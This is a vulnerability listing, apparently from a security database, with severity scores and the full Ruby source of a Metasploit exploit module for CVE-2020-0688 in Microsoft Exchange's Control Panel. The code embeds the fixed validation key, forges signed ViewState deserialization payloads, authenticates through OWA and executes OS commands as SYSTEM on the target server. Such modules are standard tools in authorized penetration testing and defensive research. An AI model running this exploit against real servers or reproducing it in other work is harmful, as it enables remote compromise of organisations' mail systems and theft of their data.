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Exchange Control Panel ViewState Deserialization

2020-02-2802:57:08
Spencer McIntyre
www.rapid7.com
87

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.972 High

EPSS

Percentile

99.8%

This module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these values, an attacker can craft a special ViewState to cause an OS command to be executed by NT_AUTHORITY\SYSTEM using .NET deserialization.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'bindata'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  # include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'
  VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf"

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Exchange Control Panel ViewState Deserialization',
      'Description'    => %q{
        This module exploits a .NET serialization vulnerability in the
        Exchange Control Panel (ECP) web page. The vulnerability is due to
        Microsoft Exchange Server not randomizing the keys on a
        per-installation basis resulting in them using the same validationKey
        and decryptionKey values. With knowledge of these values, an attacker
        can craft a special ViewState to cause an OS command to be executed
        by NT_AUTHORITY\SYSTEM using .NET deserialization.
      },
      'Author'         => 'Spencer McIntyre',
      'License'        => MSF_LICENSE,
      'References'     => [
          ['CVE', '2020-0688'],
          ['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],
      ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],
          [ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],
          [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 1,
      'DisclosureDate' => '2020-02-11',
      'Notes'          =>
        {
          'Stability'   => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
        },
      'Privileged'      => true
    ))

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
      OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
      OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),
      OptString.new('DOMAIN', [ false, 'The domain to use for authentication', '' ])
    ])

    register_advanced_options([
      OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
    ])
  end

  def check
    state = get_request_setup
    viewstate = state[:viewstate]
    return CheckCode::Unknown if viewstate.nil?

    viewstate = Rex::Text.decode_base64(viewstate)
    body = viewstate[0...-20]
    signature = viewstate[-20..-1]

    unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature
      return CheckCode::Safe
    end

    # we've validated the signature matches based on the data we have and thus
    # proven that we are capable of signing a viewstate ourselves
    CheckCode::Vulnerable
  end

  def generate_viewstate(generator, session_id, cmd)
    viewstate = ::Msf::Util::DotNetDeserialization.generate(
      cmd,
      gadget_chain: :TextFormattingRunProperties,
      formatter: :LosFormatter
    )
    signature = generate_viewstate_signature(generator, session_id, viewstate)
    Rex::Text.encode_base64(viewstate + signature)
  end

  def generate_viewstate_signature(generator, session_id, viewstate)
    mac_key_bytes  = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')
    mac_key_bytes << Rex::Text.to_unicode(session_id)
    OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)
  end

  def exploit
    state = get_request_setup

    # the major limit is the max length of a GET request, the command will be
    # XML escaped and then base64 encoded which both increase the size
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded, opts={state: state})
    else
      cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first
      execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})
    end
  end

  def execute_command(cmd, opts)
    state = opts[:state]
    viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)
    5.times do |iteration|
      # this request *must* be a GET request, can't use POST to use a larger viewstate
      send_request_cgi({
        'uri'      => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
        'cookie'   => state[:cookies].join(''),
        'agent'    => state[:user_agent],
        'vars_get' => {
          '__VIEWSTATE'          => viewstate,
          '__VIEWSTATEGENERATOR' => state[:viewstate_generator]
        }
      })
      break
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')
      sleep iteration
    end
  end

  def get_request_setup
    # need to use a newer default user-agent than what Metasploit currently provides
    # see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string
    user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'
    res = send_request_cgi({
      'uri'           => normalize_uri(target_uri.path, 'owa', 'auth.owa'),
      'method'        => 'POST',
      'agent'         => user_agent,
      'vars_post'     => {
        'password'    => datastore['PASSWORD'],
        'flags'       => '4',
        'destination' => full_uri(normalize_uri(target_uri.path, 'owa'), vhost_uri: true),
        'username'    => username
      }
    })
    fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?
    cookies = [res.get_cookies]

    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
      'cookie' => res.get_cookies,
      'agent'  => user_agent
    })
    fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200
    cookies << res.get_cookies

    viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0]
    if viewstate_generator.nil?
      print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}")
      viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR
    else
      vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}")
    end

    viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0]
    if viewstate.nil?
      vprint_warning('Failed to find the __VIEWSTATE value')
    end

    session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]
    if session_id.nil?
      fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')
    end
    vprint_status("Recovered the ASP.NET_SessionID: #{session_id}")

    {user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}
  end

  def username
    if datastore['DOMAIN'].blank?
      datastore['USERNAME']
    else
      [ datastore['DOMAIN'], datastore['USERNAME'] ].join('\\')
    end
  end
end

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.972 High

EPSS

Percentile

99.8%